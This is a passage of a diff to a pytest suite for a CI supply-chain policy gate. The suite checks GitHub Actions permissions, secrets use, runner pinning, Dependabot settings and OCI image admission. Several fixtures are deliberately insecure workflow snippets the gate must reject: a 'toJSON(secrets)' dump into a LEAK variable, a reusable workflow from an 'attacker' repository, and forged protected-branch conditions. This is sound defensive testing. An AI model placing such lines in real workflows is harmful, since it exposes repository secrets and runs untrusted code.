- "reviewer_roles": ["Security"], - "evidence_ref": "fixture:service-review", - "scope": "Fixture-only source read.", - "review_on": "2027-03-11", - } - ] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-use-site" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_disjunctive_event_condition_cannot_forge_protected_trust(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - """on: - push: - branches: [main] - pull_request: - branches: [main] -permissions: - contents: read -jobs: - test: - if: github.event_name == 'push' || github.event_name == 'pull_request' - runs-on: ubuntu-24.04 - permissions: - contents: write - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false -""", - encoding="utf-8", - ) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["workflow_jobs"][0]["trust_classes"] = ["protected-branch", "untrusted-pr"] - policy["workflow_jobs"][0]["permissions"] = {"contents": "write"} - policy["use_sites"][0]["trust_classes"] = ["protected-branch", "untrusted-pr"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-permission" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_disjunctive_main_ref_condition_is_not_a_protected_definition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text() - .replace("on: pull_request", "on: workflow_dispatch") - .replace( - " runs-on: ubuntu-24.04", - " if: github.ref == 'refs/heads/main' || always()\n runs-on: ubuntu-24.04", - ), - encoding="utf-8", - ) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["workflow_jobs"][0].update( - { - "trust_classes": ["manual"], - "permissions": {"contents": "write"}, - "promotion_authority": True, - "protected_definition_ref": "fixture:asserted-but-not-enforced", - } - ) - policy["use_sites"][0]["trust_classes"] = ["manual"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-trust-boundary" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_named_unprotected_ref_condition_is_not_a_protected_definition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text() - .replace("on: pull_request", "on: workflow_dispatch") - .replace( - " runs-on: ubuntu-24.04", - " if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/attack'\n runs-on: ubuntu-24.04", - ), - encoding="utf-8", - ) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["workflow_jobs"][0].update( - { - "trust_classes": ["manual"], - "permissions": {"contents": "write"}, - "promotion_authority": True, - "protected_definition_ref": "fixture:asserted-but-not-enforced", - } - ) - policy["use_sites"][0]["trust_classes"] = ["manual"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-trust-boundary" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_named_pull_request_ref_preserves_untrusted_classification(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - """on: - push: - branches: [main] - pull_request: - branches: [main] -permissions: - contents: read -jobs: - test: - if: >- - (github.event_name == 'push' && github.ref == 'refs/heads/main') || - (github.event_name == 'pull_request' && github.ref == 'refs/pull/42/merge') - runs-on: ubuntu-24.04 - permissions: - contents: write - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false -""", - encoding="utf-8", - ) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["workflow_jobs"][0]["trust_classes"] = ["protected-branch"] - policy["workflow_jobs"][0]["permissions"] = {"contents": "write"} - policy["use_sites"][0]["trust_classes"] = ["protected-branch"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-permission" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_workflow_level_bracket_secret_expression_is_untrusted_credential(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text().replace( - "permissions:\n contents: read", - "env:\n PRIVATE_TOKEN: ${{ secrets['ENTERPRISE_READ_TOKEN'] }}\npermissions:\n contents: read", - ), - encoding="utf-8", - ) - policy = _load(root, ACTIONS_POLICY_PATH) - credentials = ["github-token", "secret:enterprise-read-token"] - policy["workflow_jobs"][0]["credential_classes"] = credentials - policy["use_sites"][0]["credential_classes"] = credentials - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-credential" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -@pytest.mark.parametrize("scope", ["workflow", "job", "step"]) -def test_whole_secrets_context_is_rejected_at_every_environment_scope(tmp_path: Path, scope: str) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - text = workflow.read_text(encoding="utf-8") - if scope == "workflow": - text = text.replace( - "permissions:\n contents: read", - "env:\n LEAK: ${{ toJSON(secrets) }}\npermissions:\n contents: read", - ) - elif scope == "job": - text = text.replace( - " runs-on: ubuntu-24.04", - " env:\n LEAK: ${{ toJSON(secrets) }}\n runs-on: ubuntu-24.04", - ) - else: - text = text.replace( - " persist-credentials: false", - " persist-credentials: false\n env:\n LEAK: ${{ toJSON(secrets) }}", - ) - workflow.write_text(text, encoding="utf-8") - - assert "tooling-action-credential" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_oversized_matrix_is_rejected_before_cartesian_materialization( - monkeypatch: pytest.MonkeyPatch, -) -> None: - def unexpected_product(*_args: object, **_kwargs: object) -> object: - raise AssertionError("oversized matrix must be rejected before product expansion") - - monkeypatch.setattr(tooling_artifact_policy_actions, "product", unexpected_product) - job = { - "strategy": { - "matrix": {f"axis-{index}": [False, True] for index in range(9)}, - }, - } - - rows, invalid = tooling_artifact_policy_actions._matrix_rows(job) - - assert invalid is True - assert rows == [] - - -def test_invalid_matrix_rows_are_not_processed_as_runner_contexts( - monkeypatch: pytest.MonkeyPatch, -) -> None: - monkeypatch.setattr( - tooling_artifact_policy_actions, - "_matrix_rows", - lambda _job: ([{"runner": "ubuntu-24.04"}], True), - ) - - _selector, contexts, invalid = tooling_artifact_policy_actions._runner_profiles({"runs-on": "${{ matrix.runner }}"}) - - assert invalid is True - assert contexts == [] - - -def test_unsupported_action_identity_form_is_rejected(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text().replace( - "actions/checkout@cccccccccccccccccccccccccccccccccccccccc", - "docker://alpine:3.22", - ), - encoding="utf-8", - ) - - assert "tooling-action-source" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -@pytest.mark.parametrize("scope", ["job", "step"]) -def test_unsupported_workflow_condition_fails_closed(tmp_path: Path, scope: str) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - text = workflow.read_text(encoding="utf-8") - if scope == "job": - text = text.replace( - " runs-on: ubuntu-24.04", - " if: startsWith(github.ref, 'refs/heads/main')\n runs-on: ubuntu-24.04", - ) - else: - text = text.replace( - " - uses: actions/checkout", - " - if: startsWith(github.ref, 'refs/heads/main')\n uses: actions/checkout", - ) - workflow.write_text(text, encoding="utf-8") - - assert "tooling-action-condition" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -@pytest.mark.parametrize("mutation", ["mutable-selector", "stale-profile"]) -def test_workflow_runner_must_be_immutable_and_match_declared_profiles(tmp_path: Path, mutation: str) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - if mutation == "mutable-selector": - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text().replace("runs-on: ubuntu-24.04", "runs-on: ubuntu-latest"), - encoding="utf-8", - ) - else: - policy = _load(root, ACTIONS_POLICY_PATH) - policy["workflow_jobs"][0]["host_profile_ids"] = ["stale-host-profile"] - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-runner" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -@pytest.mark.parametrize("mutation", ["duplicate", "undeclared", "stale", "capability-drift"]) -def test_workflow_job_policy_is_exact_and_complete(tmp_path: Path, mutation: str) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - policy = _load(root, ACTIONS_POLICY_PATH) - if mutation == "duplicate": - policy["workflow_jobs"].append(json.loads(json.dumps(policy["workflow_jobs"][0]))) - elif mutation == "undeclared": - policy["workflow_jobs"] = [] - elif mutation == "stale": - stale = json.loads(json.dumps(policy["workflow_jobs"][0])) - stale["workflow"] = ".github/workflows/stale.yml" - policy["workflow_jobs"].append(stale) - else: - policy["workflow_jobs"][0]["cache_access"] = "restore" - _write_json(root, ACTIONS_POLICY_PATH, policy) - - assert "tooling-action-workflow-job" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_omitted_workflow_permissions_fail_closed(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_valid_checkout_admission(root) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.write_text( - workflow.read_text().replace("permissions:\n contents: read\n", ""), - encoding="utf-8", - ) - - assert "tooling-action-permission" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_remote_reusable_workflow_is_rejected_even_when_sha_pinned(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True, exist_ok=True) - workflow.write_text( - """on: workflow_dispatch -permissions: {contents: read} -jobs: - test: - uses: attacker/repository/.github/workflows/publish.yml@cccccccccccccccccccccccccccccccccccccccc -""", - encoding="utf-8", - ) - - assert "tooling-reusable-workflow" in _failures(root, tracked_paths=[".github/workflows/test.yml"]) - - -def test_workflow_parser_rejects_duplicate_keys_and_mutable_runners(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - _seed_checkout_workflow( - root, - """on: pull_request -permissions: - contents: read -jobs: - test: - runs-on: ubuntu-24.04 - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false -""", - ) - - failures = _failures(root, tracked_paths=[".github/workflows/test.yml"]) - assert "tooling-action-scan" in failures - - -def test_transitive_input_and_workflow_use_site_must_be_owned(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - policy = _load(root, ACTIONS_POLICY_PATH) - policy["actions"].append( - { - "action": "actions/checkout", - "commit": "c" * 40, - "owner_roles": ["Tooling"], - "trust_root_refs": ["reviewed-git-commit"], - "runtime": "node24", - "closure_review_ref": "fixture-review", - "transitive_inputs": [ - {"input_id": "git", "host_capability_ref": "missing-capability"}, - ], - } - ) - policy["workflow_jobs"] = [] - policy["use_sites"] = [] - policy["service_managed_exceptions"] = [] - policy["dependabot"] = { - "target_branch": "dev", - "interval": "weekly", - "action_group": "github-actions", - "python_group": "python-minor-patch", - "excluded_python": ["z3-solver"], - } - _write_json(root, ACTIONS_POLICY_PATH, policy) - workflow = root / ".github" / "workflows" / "test.yml" - workflow.parent.mkdir(parents=True, exist_ok=True) - workflow.write_text( - """on: pull_request -permissions: - contents: read -jobs: - test: - runs-on: ubuntu-24.04 - steps: - - uses: actions/checkout@cccccccccccccccccccccccccccccccccccccccc - with: - persist-credentials: false -""", - encoding="utf-8", - ) - - failures = _failures(root, tracked_paths=[".github/workflows/test.yml"]) - assert {"tooling-action-transitive-input", "tooling-action-use-site"} <= failures - - -def test_dependabot_action_updates_must_target_dev_without_changing_z3_policy(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - dependabot = root / ".github" / "dependabot.yml" - dependabot.parent.mkdir(parents=True, exist_ok=True) - dependabot.write_text( - """version: 2 -updates: - - package-ecosystem: github-actions - directory: / - target-branch: main - schedule: {interval: daily} - - package-ecosystem: pip - directory: /implementations/python - target-branch: dev - schedule: {interval: weekly} -""", - encoding="utf-8", - ) - - failures = _failures(root, tracked_paths=[".github/dependabot.yml"]) - assert "tooling-action-dependabot" in failures - - -@pytest.mark.parametrize("mutation", ["duplicate-update", "empty-group"]) -def test_dependabot_policy_compares_every_update_and_complete_group_semantics( - tmp_path: Path, - mutation: str, -) -> None: - root = _seed_policy(tmp_path) - admitted = { - "version": 2, - "updates": [ - { - "package-ecosystem": "github-actions", - "directory": "/", - "target-branch": "dev", - "schedule": {"interval": "weekly"}, - "open-pull-requests-limit": 5, - "groups": {"github-actions": {"patterns": ["*"]}}, - } - ], - } - policy = _load(root, ACTIONS_POLICY_PATH) - policy["dependabot"] = admitted - actual = json.loads(json.dumps(admitted)) - if mutation == "duplicate-update": - actual["updates"].append(json.loads(json.dumps(actual["updates"][0]))) - else: - actual["updates"][0]["groups"]["github-actions"] = {"patterns": []} - _write_json(root, ACTIONS_POLICY_PATH, policy) - _write_json(root, ".github/dependabot.yml", actual) - - assert "tooling-action-dependabot" in _failures(root, tracked_paths=[".github/dependabot.yml"]) - - -def test_selector_drift_is_rejected_against_the_lock_authority(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - bindings = _load(root, SELECTOR_BINDINGS_PATH) - bindings["bindings"].append( - { - "binding_id": "tool-a-nox", - "artifact_id": "tool-a", - "authority_field": "version", - "consumers": [ - { - "path": "noxfile.py", - "template": "tool-a=={selector}", - } - ], - } - ) - _write_json(root, SELECTOR_BINDINGS_PATH, bindings) - (root / "noxfile.py").write_text('TOOL = "tool-a==2.0.0"\n', encoding="utf-8") - assert "tooling-selector-drift" in _failures(root, tracked_paths=["noxfile.py"]) - - -def test_selector_binding_must_name_a_locked_artifact_authority(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - bindings = _load(root, SELECTOR_BINDINGS_PATH) - bindings["bindings"].append( - { - "binding_id": "missing-tool", - "artifact_id": "missing-tool", - "authority_field": "version", - "consumers": [{"path": "noxfile.py", "template": "missing-tool=={selector}"}], - } - ) - _write_json(root, SELECTOR_BINDINGS_PATH, bindings) - - assert "tooling-selector-authority" in _failures(root, tracked_paths=["noxfile.py"]) - - -def test_duplicate_selector_binding_id_is_rejected(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - bindings = _load(root, SELECTOR_BINDINGS_PATH) - binding = { - "binding_id": "tool-a-nox", - "artifact_id": "tool-a", - "authority_field": "version", - "consumers": [{"path": "noxfile.py", "template": "tool-a=={selector}"}], - } - bindings["bindings"] = [binding, json.loads(json.dumps(binding))] - _write_json(root, SELECTOR_BINDINGS_PATH, bindings) - (root / "noxfile.py").write_text('TOOL = "tool-a==1.0.0"\n', encoding="utf-8") - - assert "tooling-selector-binding-duplicate" in _failures(root, tracked_paths=["noxfile.py"]) - - -def test_duplicate_runtime_selection_declaration_is_rejected(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - bindings = _load(root, SELECTOR_BINDINGS_PATH) - bindings["runtime_selections"].append(json.loads(json.dumps(bindings["runtime_selections"][0]))) - _write_json(root, SELECTOR_BINDINGS_PATH, bindings) - - assert "tooling-runtime-selection-duplicate" in _failures(root) - - -def test_unreadable_tracked_python_source_fails_runtime_selection_scan(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - unreadable = root / "packages" / "unreadable.py" - unreadable.mkdir(parents=True) - - assert "tooling-runtime-selection-scan" in _failures(root, tracked_paths=["packages/unreadable.py"]) - - -def test_every_locked_artifact_requires_runtime_selection_coverage(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - bindings = _load(root, SELECTOR_BINDINGS_PATH) - bindings["runtime_selections"] = [] - _write_json(root, SELECTOR_BINDINGS_PATH, bindings) - - assert "tooling-runtime-selection-coverage" in _failures(root) - - -def test_tracked_literal_discovery_rejects_a_new_drifted_consumer(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - bindings = _load(root, SELECTOR_BINDINGS_PATH) - bindings["tracked_literals"].append( - { - "selector_id": "fixture-tool", - "authority_path": "tools/versions.py", - "authority_template": 'SPEC = "fixture-tool=={selector}"', - "consumer_prefix": "fixture-tool==", - } - ) - _write_json(root, SELECTOR_BINDINGS_PATH, bindings) - authority = root / "tools" / "versions.py" - authority.parent.mkdir(parents=True, exist_ok=True) - authority.write_text('SPEC = "fixture-tool==1.0.0"\n', encoding="utf-8") - (root / "README.md").write_text("install fixture-tool==2.0.0\n", encoding="utf-8") - assert "tooling-selector-drift" in _failures( - root, - tracked_paths=["README.md", "tools/versions.py"], - ) - - -def test_new_acquisition_path_requires_owned_inventory_disposition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - path = root / "tools" / "new_fetch.py" - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text("from urllib.request import urlopen\nurlopen('https://example.invalid/tool')\n", encoding="utf-8") - assert "tooling-acquisition-unowned" in _failures(root, tracked_paths=["tools/new_fetch.py"]) - - -def test_variable_runtime_pull_in_a_test_requires_an_explicit_disposition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - relative_path = "implementations/python/tests/test_runtime_pull.py" - path = root / relative_path - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text( - "import subprocess\nsubprocess.run([runtime, 'pull', image], check=False)\n", - encoding="utf-8", - ) - assert "tooling-acquisition-unowned" in _failures(root, tracked_paths=[relative_path]) - - coverage = _load(root, INVENTORY_COVERAGE_PATH) - coverage["acquisition_paths"].append( - { - "path": relative_path, - "inventory_id": "I11", - "disposition": "governed", - "site_count": 1, - } - ) - _write_json(root, INVENTORY_COVERAGE_PATH, coverage) - assert "tooling-acquisition-unowned" not in _failures(root, tracked_paths=[relative_path]) - - -def test_dynamic_executable_form_requires_an_explicit_disposition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - relative_path = "packages/dynamic_command.py" - path = root / relative_path - path.parent.mkdir(parents=True) - path.write_text( - "from subprocess import run as execute\nexecute(command, check=False)\n", - encoding="utf-8", - ) - assert "tooling-acquisition-unknown" in _failures(root, tracked_paths=[relative_path]) - - -def test_existing_path_disposition_does_not_hide_a_new_acquisition_site(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - relative_path = "tools/two_fetches.py" - path = root / relative_path - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text( - "from urllib.request import urlopen\n" - "urlopen('https://example.invalid/one')\n" - "urlopen('https://example.invalid/two')\n", - encoding="utf-8", - ) - coverage = _load(root, INVENTORY_COVERAGE_PATH) - coverage["acquisition_paths"].append( - { - "path": relative_path, - "inventory_id": "I05", - "disposition": "governed", - "site_count": 1, - } - ) - _write_json(root, INVENTORY_COVERAGE_PATH, coverage) - assert "tooling-acquisition-drift" in _failures(root, tracked_paths=[relative_path]) - - -def test_inert_fixture_text_is_not_treated_as_executed_acquisition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - relative_path = "implementations/python/tests/test_fixture_text.py" - path = root / relative_path - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text( - "from pathlib import Path\nPath('fixture.py').write_text(\"subprocess.run([runtime, 'pull', image])\\n\")\n", - encoding="utf-8", - ) - failures = _failures(root, tracked_paths=[relative_path]) - assert "tooling-acquisition-unowned" not in failures - assert "tooling-acquisition-unknown" not in failures - - -def test_http_client_acquisition_in_a_package_requires_inventory_disposition(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - path = root / "packages" / "new_fetch.py" - path.parent.mkdir(parents=True) - path.write_text("import http.client\nhttp.client.HTTPSConnection('example.invalid')\n", encoding="utf-8") - assert "tooling-acquisition-unowned" in _failures(root, tracked_paths=["packages/new_fetch.py"]) - - -@pytest.mark.parametrize( - "command", - [ - '["gh", "release", "download", "v1.0.0"]', - '["git", "clone", "https://example.invalid/tool"]', - '["uv", "tool", "install", "fixture-tool==1.0.0"]', - ], -) -def test_acquisition_commands_outside_tools_require_inventory_disposition( - tmp_path: Path, - command: str, -) -> None: - root = _seed_policy(tmp_path) - path = root / "noxfile.py" - path.write_text(f"import subprocess\nsubprocess.run({command})\n", encoding="utf-8") - assert "tooling-acquisition-unowned" in _failures(root, tracked_paths=["noxfile.py"]) - - -def test_unparseable_acquisition_surface_fails_closed(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - path = root / "packages" / "broken.py" - path.parent.mkdir(parents=True) - path.write_text("def incomplete(:\n", encoding="utf-8") - assert "tooling-acquisition-scan" in _failures(root, tracked_paths=["packages/broken.py"]) - - -def test_runtime_selection_binding_requires_every_selection_dimension(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - path = root / "tools" / "acquire_tool_a.py" - path.write_text( - "load_tooling_artifact_selection(artifact_id='tool-a', version=VERSION, platform_id=PLATFORM)\n", - encoding="utf-8", - ) - assert "tooling-runtime-selection-drift" in _failures(root) - - -def test_new_runtime_selection_call_requires_a_declared_consumer(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - relative_path = "packages/new_selector.py" - path = root / relative_path - path.parent.mkdir(parents=True) - path.write_text( - "import tools.tooling_policy_gate as gate\n" - "gate.load_tooling_artifact_selection(\n" - " artifact_id='tool-a', version=VERSION, platform_id=PLATFORM, profile_id=PROFILE\n" - ")\n", - encoding="utf-8", - ) - assert "tooling-runtime-selection-drift" in _failures(root, tracked_paths=[relative_path]) - - -@pytest.mark.integration -def test_exact_lock_selection_normalizes_platform_alias_and_rejects_wrong_version() -> None: - selection = select_tooling_artifact( - REPO_ROOT, - artifact_id="conftest", - version="0.68.0", - platform_id="Linux-amd64", - profile_id="public-linux-x86_64", - ) - assert selection["platform"]["platform_id"] == "linux-x86_64" - with pytest.raises(ValueError, match="exactly one reviewed lock entry"): - select_tooling_artifact( - REPO_ROOT, - artifact_id="conftest", - version="9.9.9", - platform_id="linux-x86_64", - profile_id="public-linux-x86_64", - ) - - -@pytest.mark.integration -def test_exact_host_selection_runs_the_canonical_policy_boundary() -> None: - selection = select_tooling_host_profile(REPO_ROOT, host_profile_id="public-macos-arm64") - assert selection["host_profile"]["platform_id"] == "macos-arm64" - assert {item["artifact_id"] for item in selection["artifacts"]} == { - "conftest", - "cpython-3.14", - "gitleaks", - "osv-scanner", - "uv", - "vale", - } - assert len(selection["policy_sha256"]) == 64 - assert selection["policy_sha256"] == tooling_policy_sha256(REPO_ROOT) - - -def test_source_snapshot_byte_drift_is_rejected(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - lock = _load(root, ARTIFACT_LOCK_PATH) - artifact = lock["artifacts"][0] - artifact["artifact_class"] = "source-snapshot" - artifact["platforms"][0]["installed_manifest"][0]["path"] = "contracts/source.json" - snapshot = root / "contracts" / "source.json" - snapshot.parent.mkdir(parents=True) - snapshot.write_text("{}\n", encoding="utf-8") - _write_json(root, ARTIFACT_LOCK_PATH, lock) - assert "tooling-source-snapshot-drift" in _failures(root) - - -def test_source_snapshot_rejects_a_symlinked_parent_directory(tmp_path: Path) -> None: - root = _seed_policy(tmp_path) - payload = b"{}\n" - lock = _load(root, ARTIFACT_LOCK_PATH) - artifact = lock["artifacts"][0] - artifact["artifact_class"] = "source-snapshot" - installed = artifact["platforms"][0]["installed_manifest"][0] - installed.update( - { - "path": "snapshots/source.json", - "sha256": hashlib.sha256(payload).hexdigest(), - "size": len(payload), + "path": "snapshots/source.json", + "sha256": hashlib.sha256(payload).hexdigest(), + "size": len(payload), } ) real_parent = root / "real-snapshots" @@ -2784,10 +1462,208 @@ def test_tooling_policy_cli_emits_a_validated_selection( def test_python_closure_main_reports_success_after_showing_a_manifest(capsysbinary: pytest.CaptureFixture) -> None: - from tools.python_closure import load_python_closure_profile, main + from tools.python_closure import main - profile_id = "public-linux-x86_64-cp314-tools" - profile = load_python_closure_profile(REPO_ROOT, profile_id) + profile_id = "public-linux-x86_64-cp314-all-extras" + # Read the expected bytes independently; main still performs the full policy + # validation, which must not be duplicated merely to construct the oracle. + profiles = _load(REPO_ROOT, PROFILES_PATH)["python_closure_profiles"] + (profile,) = [item for item in profiles if item["python_closure_profile_id"] == profile_id] + expected_manifest = (REPO_ROOT / profile["wheelhouse_manifest"]).read_bytes() assert main(["manifest-show", "--profile", profile_id]) == 0 - assert capsysbinary.readouterr().out == profile.wheelhouse_manifest.read_bytes() + assert capsysbinary.readouterr().out == expected_manifest + + +def test_tracked_python_scans_reuse_is_invalidated_by_any_edit(tmp_path: Path) -> None: + """The scan cache is keyed by file identity, so an edit is never served stale. + + Re-parsing every tracked Python file on each policy evaluation dominated the + evaluation cost, so unchanged files are memoized. That is only sound while + any edit invalidates the entry — including one that preserves the file size. + """ + + from tools.tooling_artifact_policy_discovery import tracked_python_scans + + relative = "sample.py" + target = tmp_path / relative + target.write_text("x = 1\n", encoding="utf-8") + assert tracked_python_scans(tmp_path, [relative])[relative].parsed is True + + # Same byte length, different content: only the modification time differs. + unparsable = "x = (\n" + assert len(unparsable) == len("x = 1\n") + target.write_text(unparsable, encoding="utf-8") + os.utime(target, ns=(1_000_000_000, 2_000_000_000)) + assert tracked_python_scans(tmp_path, [relative])[relative].parsed is False + + # And a length change is likewise observed rather than reused. + target.write_text("y = 2\ny = 3\n", encoding="utf-8") + assert tracked_python_scans(tmp_path, [relative])[relative].parsed is True + + +_OCI_INDEX = "1" * 64 +_OCI_MANIFEST = "2" * 64 +_OCI_CONFIG = "3" * 64 +_OCI_LAYER = "4" * 64 +_OCI_DIFF_ID = "5" * 64 + + +def _seed_oci_graph_policy(root_path: Path) -> Path: + """Seed a lock whose one artifact is an export-bearing OCI image.""" + + root = _seed_policy(root_path) + admission = _load(root, "implementations/tooling/admission-policy.json") + admission["policies"].append( + { + "policy_id": "oci-graph-v1", + "subject": "oci-image", + "status": "active", + "accepted_evidence": [ + "oci-index-digest", + "oci-platform-graph-digests", + "absent-signature-review", + "reviewed-consumer-reference", + ], + "reviewer_roles": ["Backend", "Security"], + } + ) + _write_json(root, "implementations/tooling/admission-policy.json", admission) + + lock = _load(root, ARTIFACT_LOCK_PATH) + artifact = lock["artifacts"][0] + artifact["artifact_class"] = "oci-image" + artifact["policy_refs"] = ["oci-graph-v1"] + artifact["source"]["release"] = f"sha256:{_OCI_INDEX}" + platform = artifact["platforms"][0] + platform.pop("installed_manifest", None) + platform["installed_identity"] = { + "implementation": "OCI image", + "version": artifact["version"], + "abi": "oci-manifest-v1", + "target": "linux-x86_64", + } + platform["oci_graph"] = { + "index": {"digest": f"sha256:{_OCI_INDEX}", "size": 9226}, + "manifest": {"digest": f"sha256:{_OCI_MANIFEST}", "size": 1023}, + "config": {"digest": f"sha256:{_OCI_CONFIG}", "size": 612}, + "layers": [{"digest": f"sha256:{_OCI_LAYER}", "size": 3630321}], + "diff_ids": [f"sha256:{_OCI_DIFF_ID}"], + "architecture": "amd64", + "os": "linux", + } + _write_json(root, ARTIFACT_LOCK_PATH, lock) + # The seeded evidence is bound to the complete policy, so rebind it after + # the admission and lock edits above. + profiles = _load(root, PROFILES_PATH) + _write_json(root, PROFILES_PATH, profiles) + return root + + +def test_export_bearing_oci_image_graph_is_admitted(tmp_path: Path) -> None: + root = _seed_oci_graph_policy(tmp_path) + + assert _failures(root) == set() + + +@pytest.mark.parametrize( + ("mutation", "rule_id"), + [ + # The selected platform manifest is evidence *inside* the reviewed + # index, never a substitute for the index identity. + ( + lambda graph, artifact: graph["index"].update(digest="sha256:" + "6" * 64), + "tooling-oci-index-identity", + ), + # A layer without its uncompressed identity cannot be verified after an + # export/import round trip, and vice versa. + ( + lambda graph, artifact: graph["diff_ids"].append("sha256:" + "7" * 64), + "tooling-oci-layer-arity", + ), + ( + lambda graph, artifact: graph["layers"].append({"digest": "sha256:" + "4" * 64, "size": 11}), + "tooling-oci-layer-duplicate", + ), + # A wrong-platform object must not be admitted under a platform id. + ( + lambda graph, artifact: graph.update(architecture="arm64"), + "tooling-oci-platform-mismatch", + ), + ( + lambda graph, artifact: graph.update(os="windows"), + "tooling-oci-platform-mismatch", + ), + # The graph and its admission policy are one record: neither half may + # be declared without the other. + ( + lambda graph, artifact: artifact.update(policy_refs=["oci-input-v1"]), + "tooling-oci-graph-unpoliced", + ), + ], +) +def test_oci_graph_admission_rejects_an_incoherent_record(tmp_path: Path, mutation, rule_id: str) -> None: + root = _seed_oci_graph_policy(tmp_path) + lock = _load(root, ARTIFACT_LOCK_PATH) + artifact = lock["artifacts"][0] + mutation(artifact["platforms"][0]["oci_graph"], artifact) + _write_json(root, ARTIFACT_LOCK_PATH, lock) + + assert rule_id in _failures(root) + + +def test_oci_graph_policy_requires_every_platform_to_carry_the_graph(tmp_path: Path) -> None: + root = _seed_oci_graph_policy(tmp_path) + lock = _load(root, ARTIFACT_LOCK_PATH) + lock["artifacts"][0]["platforms"][0].pop("oci_graph") + _write_json(root, ARTIFACT_LOCK_PATH, lock) + + assert "tooling-oci-graph-missing" in _failures(root) + + +def test_index_only_oci_images_must_not_declare_a_graph(tmp_path: Path) -> None: + root = _seed_policy(tmp_path) + lock = _load(root, ARTIFACT_LOCK_PATH) + lock["artifacts"][0]["platforms"][0]["oci_graph"] = { + "index": {"digest": f"sha256:{_OCI_INDEX}", "size": 9226}, + "manifest": {"digest": f"sha256:{_OCI_MANIFEST}", "size": 1023}, + "config": {"digest": f"sha256:{_OCI_CONFIG}", "size": 612}, + "layers": [{"digest": f"sha256:{_OCI_LAYER}", "size": 1}], + "diff_ids": [f"sha256:{_OCI_DIFF_ID}"], + "architecture": "amd64", + "os": "linux", + } + _write_json(root, ARTIFACT_LOCK_PATH, lock) + + assert "tooling-oci-graph-unpoliced" in _failures(root) + + +def test_oci_graph_digests_are_screened_against_denied_digests(tmp_path: Path) -> None: + root = 